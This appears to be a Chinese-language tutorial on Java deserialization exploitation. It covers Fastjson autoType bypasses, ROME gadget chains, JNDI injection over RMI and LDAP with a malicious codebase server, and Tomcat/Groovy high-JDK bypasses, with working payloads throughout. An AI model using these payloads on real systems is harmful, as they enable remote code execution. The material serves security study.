JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}

这里的绕过方法是通过先通过白名单java.lang.Class,这里会获取到MiscCodec类,再调用deserialze方法,里面会对一个参数val的赋值操作,最后再通再TypeUtils.loadClass来进行类加载

调用的流程分析

这里先走到DefaultJSONParser的parseObject方法,到方法的最后面调用了deserialize方法,这里的deserializer属性为MiscCodec类,所以下一步就会进入到MiscCodec的deserialze方法进行分析

这里先判断键是否为val,然后就赋值给odjVal属性

最后odjVal属性赋值给strVal

最后走到TypeUtils.loadClass来进行类加载strVal属性

1.2.25-1.2.41补丁绕过

这个绕过是基于autoTypeSupport为true的情况下白名单绕过,通过多加一个L和;绕过

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa= "{"+
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " +
"\"autoCommit\":true"
+"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.42补丁绕过

这个绕过是基于autoTypeSupport为true的情况下白名单绕过,通过多加一个LL和;;绕过

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa= "{"+
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " +
"\"autoCommit\":true"
+"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.43补丁绕过

可以通过[{绕过,Payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1399/Exploit",
"autoCommit":true
}
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa= "{"+
"\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/test\", " +
"\"autoCommit\":true"
+"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.45补丁绕过

1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>

payload

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa="{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"ldap://127.0.0.1:9999/test\"\n" +
" }\n" +
"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}
1.2.62-1.2.68版本

1.2.62

1
2
3
需要开启AutoType;
JNDI注入利用所受的JDK版本限制;
目标服务端需要存在xbean-reflect包

所需要的依赖

1
2
3
4
5
<dependency>  
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>

poc

1
2
3
4
5
6
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/test\"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}

这里主要看JndiConverter如何触发jndi

在JndiConverter的toObjectImpl方法里面有lookup,接下来就是看哪里调用了这个方法

在它的父类AbstractConverter的setAsText方法里面的toObject方法里面调用了

所以只需要上传AsText属性就可以调用该方法,所以最后的payload就可以有了

1
2
3
4
5
6
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
config.setAutoTypeSupport(true);
String aaa="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://127.0.0.1:9999/test\"}";
JSON.parseObject(aaa, Object.class, config, Feature.SupportNonPublicField);
}

1.2.66

1
2
3
4
开启AutoType;
JNDI注入利用所受的JDK版本限制;
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类Poc:

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory类Poc:

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
其他一些绕过黑名单的Gadget

这里补充下其他一些Gadget,可自行尝试。注意,均需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制

1.2.59

com.zaxxer.hikari.HikariConfig类Poc

1
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.61

org.apache.commons.proxy.provider.remoting.SessionBeanProvider类Poc:

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.62

org.apache.cocoon.components.slide.impl.JMSContentInterceptor类Poc

1
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

1.2.68

org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig类Poc

1
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.caucho.config.types.ResourceRef类Poc

1
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

ROME反序列化基本调用流程

它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。

他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

导入依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

这里先看看ysoserial中的利用链

1
2
3
4
5
6
7
8
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

这里有挺多和cc链相似的调用,这里也是通过TemplatesImpl来实现任意类加载,后面也是通过hsahmap的readObject方法来完成调用,下面就可以具体看看中间的调用流程是怎么实现的

首先TemplatesImpl的getOutputProperties方法满足javaBean的写法,在ToStringBean的toString方法中就完美的满足了其调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
}

这里先静态的分析其toString的代码逻辑,这里先是通过BeanIntrospector的getPropertyDescriptors方法来获取_beanClass类中的所有属性描述符,方便后续来反射调用其getter方法

后面就是通过for循环来执行getter方法的流程,具体就是执行_obj对象的方法,从这里知道_beanClass类应该为我们的Templates.class,而_obj对象为我们恶意构造的templates对象

查看ToStringBean类的相关信息,这里发现它是实现了Serializable接口,并且它的有参构造函数里面可以传入我们构造的参数

1
2
3
4
public ToStringBean(Class beanClass,Object obj) {
_beanClass = beanClass;
_obj = obj;
}

因为ToStringBean的toString(String)方法是private方法,就可以看看哪里调用了toString(String),这里就在它的另外一个toString方法里面

第一段exp就结束了,成功命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
toStringBean.toString();
}

接下来就得继续看哪里可以调用任意类的toString方法就可以,下面就来到了EqualsBean类的beanHashCode,而beanHashCode又被它的hashCode方法所调用,下面就可以延长exp链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int beanHashCode() {
return _obj.toString().hashCode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
equalsBean.hashCode();
}

下面就可以结合cc链来实现完整的poc链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
HashMap map = new HashMap<>();
map.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(map,"123.bin");
unserialized("123.bin");
}

下面就是其它exp构造

EXP(ObjectBean)

ObjectBean类可以代替上面的EqualsBean类因为在其构造方法里面创建了一个EqualsBean对象,还是一样它的hashCode方法里面调用了beanHashCode方法所以就可以直接平替的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
HashMap map = new HashMap<>();
map.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(map,"123.bin");
unserialized("123.bin");
}

EXP(HashTable)

这里针对如果入口类黑名单中存在HashMap类,我们这里能够用HashTable进行绕过,我们可以发现HashTable的readObject地方,对每个key和value都会调用reconstitutionPut()函数,该函数里面又调用了key的hashcode方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
Hashtable hashtable = new Hashtable();
hashtable.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(hashtable,"123.bin");
unserialized("123.bin");
}

EXP(BadAttributeValueExpException)

结合cc的做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(badAttributeValueExpException,"123.bin");
unserialized("123.bin");
}

JdbcRowSetImpl利用链

这里采用的是FastJson<=1.2.24版本,所以该版本的限制这里也存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:9999/test";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,jdbcRowSet);
serialized(badAttributeValueExpException,"123.bin");
unserialized("123.bin");
}

流程分析,这里后半段里面是通过调用传入类的属性的getter方法,目的是调用到JdbcRowSetImpl的connect方法,这里调用了lookup方法从而实现jndi注入

它的connect方法是在它的getDatabaseMetaData方法,这个方法为一个getter方法

而lookup方法里面的值为dataSource

1
2
3
public String getDataSourceName() {
return dataSource;
}

poc构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception { 
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:9999/test";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,jdbcRowSet);
serialized(badAttributeValueExpException,"123.bin");
unserialized("123.bin");
}

推荐链接:https://goodapple.top/archives/696

概念定义

首先在jndi中常见的有四个协议,一般是将一个命名空间来存储java对象,这里就可能存在一种可能如果通过字符串来解析为一个java对象的话就可能会存在利用的问题

1
2
3
4
LDAP  //轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI //JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS //域名服务
CORBA //公共对象请求代理体系结构

JNDI+RMI注入

在服务器里面部署恶意的的对象,在客户端进行加载的时候就会触发恶意代码,这里就需要先部署好前置的服务器

在jndi里面结合rmi就一共有两种运用方式,在jndi中它需要创建一个上下文,就相当于一个存放的容器,其中的容器的绑定对象形式不一样,它可以像rmi一样直接绑定远程对象就是打原生的rmi反序列化

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//server
public class JNDI1Server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1089/luokuang",new JNDI1Object());
}
}

//client
public class JNDI1Client {
public static void main(String[] args) throws Exception {
Registry register = LocateRegistry.getRegistry("127.0.0.1",1089);
JNDI1Interface stub = (JNDI1Interface) register.lookup("luokuang");
System.out.println(stub.aaa());
}
}

这里调用的是InitialContext的rebind方法,但是跟进就发现其实还是调用了原生的rmi的rebind方法

先是调用到RegistryContext的rebind方法

接下来就调用到了RegistryImpl_Stub的rebind方法

所以如果通过直接绑定远程对象其实可以和原生rmi一样进行攻击,但是这个其实不算真正的JNDI注入,下面就是通过jndi绑定对象支持绑定引用对象,所以这里就通过绑定一个恶意的引用对象来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//server
public class JNDI1Server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
InitialContext initialContext = new InitialContext();
//Reference reference = new Reference("rce", "rce", "http://127.0.0.1:9000/");
Reference reference = new Reference("test", "test", "http://127.0.0.1:9000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
initialContext.rebind("rmi://localhost:1089/luokuang",referenceWrapper);
}
}

//client
public class JNDI1Client {
public static void main(String[] args) throws Exception {
String url = "rmi://localhost:1089/luokuang";
InitialContext initialContext = new InitialContext();
Object lookup = initialContext.lookup(url);
}
}

本地通过python起一个http服务,成功执行代码

这里的主要思想就是通过我们创建一个恶意的服务,当目标服务器进行远程调用时就进行触发

下面就去看看具体的执行代码的流程

一路lookup调用,最后到达RegistryContext的lookup调用到decodeObject方法里面,最终走出RegistryContext去到NamingManager里面

这里其实就已经走去了rmi,去往了一个通用的类,一直走到NamingManager的getObjectInstance方法里面,调用getObjectFactoryFromReference来进行类加载

所以其实不只是jndi与rmi结合有问题,其它协议也是一样

JNDI+LDAP注入

基本介绍

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

也就是说,LDAP 「是一个协议」,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容。而 「LDAP 协议的实现」,有着众多版本,例如微软的 Active Directory 是 LDAP 在 Windows 上的实现。AD 实现了 LDAP 所需的树形数据库、具体如何解析请求数据并到数据库查询然后返回结果等功能。再例如 OpenLDAP 是可以运行在 Linux 上的 LDAP 协议的开源实现。而我们平常说的 LDAP Server,一般指的是安装并配置了 Active Directory、OpenLDAP 这些程序的服务器。

在LDAP中,我们是通过目录树来访问一条记录的,目录树的结构如下

1
2
3
4
5
6
dn :一条记录的详细位置
dc :一条记录所属区域 (哪一颗树)
ou :一条记录所属组织 (哪一个分支)
cn/uid:一条记录的名字/ID (哪一个苹果名字)
...
LDAP目录树的最顶部就是根,也就是所谓的"基准DN"

攻击流程

这里主要通过导入依赖来创建环境

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>

创建一个ldap服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package JNDI_ldap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_server {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:9000/#test"};
int port = 9999;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

创建受害的服务端

1
2
3
4
5
6
7
8
9
10
11
package JNDI_ldap;

import javax.naming.InitialContext;

public class LDAP_client {
public static void main(String[] args) throws Exception {
String string = "ldap://localhost:9999/test";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}

成功执行

高版本jdk绕过(tomcat8环境)

补丁的形式

高版本的补丁形式,一般在执行远程的代码时会进行检查,这里主要体现在RegistryContext的decodeObject方法里面,这里会增加一个属性trustURLCodebase来进行判断

绕过直接运行就会出现

这里可以看到它的默认值为false,如果要远程加载就需要通过手动将它的值进行修改为true

绕过方法

tomcat8

在jdk1.8 141到jdk1.8 191之间对rmi增加了上述补丁,但是ldap没有,还是可以用

但是在jdk1.8 191之后就不支持远程对象加载了,但是我们还是可以通过让它来绑定本地的类来达到命令执行的效果,但是这个显然也是需要有一定条件的,原生jdk里面就比较难实现

现在其实加载引用是可以实现,但是无法远程获取工厂,所以就是看有没有依赖的类中存在一个原生的工厂导致可以被利用

主要看实现ObjectFactory接口的类,里面是否满足,通过调用其getObjectInstance来实现命令执行

导入tomcat8依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.0</version>
</dependency>

这里就需要有tomcat8的依赖,它的依赖里面就存在一个类BeanFactory满足,tomcat其它版本都会有所改变所以可能不行

这里看一下为什么它可以被利用,它的getObjectInstance方法里面调用了invoke来反射调用类的方法,具体就可以不用太看,因为有点长,主要看看如何利用

首先到达BeanFactory的getObjectInstance方法,里面先是加载了ELProcessor类

这里再进行初始化操作

最终跟进invoke方法

跟进到了ELProcessor里面,这里再执行危险函数

server

1
2
3
4
5
6
7
8
9
10
11
public class JNDI1Server {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1089);
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1089/luokuang",resourceRef);

}
}

Client

1
2
3
4
5
6
7
public class JNDI1Client {
public static void main(String[] args) throws Exception {
String url = "rmi://localhost:1089/luokuang";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}

Groovy

这里在利用tomcat8的依赖下BeanFactory通过ELProcessor被利用外,还可以通过Groovy来实现命令执行

依赖

1
2
3
4
5
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>2.4.5</version>
</dependency>

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMI_Server_Bypass_Groovy {

public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
resourceRef.add(new StringRefAddr("forceString", "faster=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef faster\n", "calc");
resourceRef.add(new StringRefAddr("faster",script));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("luokuang", referenceWrapper);
System.out.println("Registry运行中......");
}
}

执行成功

简单RMI(一)

参考文章:https://www.cnblogs.com/CoLo/p/15468660.html

首先RMI是一个java远程方法调用协议,具体可以远程调用其他虚拟机中的对象来执行方法。也就是获取远程对象的引用,通过远程对象的引用调用远程对象的某个方法。

它让我们获得对远程主机上对象的引用,并像在我们自己的虚拟机中一样使用它。RMI 允许我们调用远程对象上的方法,将真实的 Java 对象作为参数传递并获取真实的 Java 对象作为返回值。

无论在何处使用引用,方法调用都发生在原始对象上,该对象仍位于其原始主机上。如果远程主机向您返回对其对象之一的引用,您可以调用该对象的方法;实际的方法调用将发生在对象所在的远程主机上。

在RMI中需要了解一些常见的点,关于远程接口和远程对象和远程路由表

远程与非远程对象

远程对象:RMI中的远程对象首先需要可以序列化;并且需要实现特殊远程接口的对象,该接口指定可以远程调用对象的哪些方法(这个后面会详细提到);其次该对象是通过一种可以通过网络传递的特殊对象引用来使用的。和普通的 Java 对象一样,远程对象是通过引用传递。也就是在调用远程对象的方法时是通过该对象的引用完成的

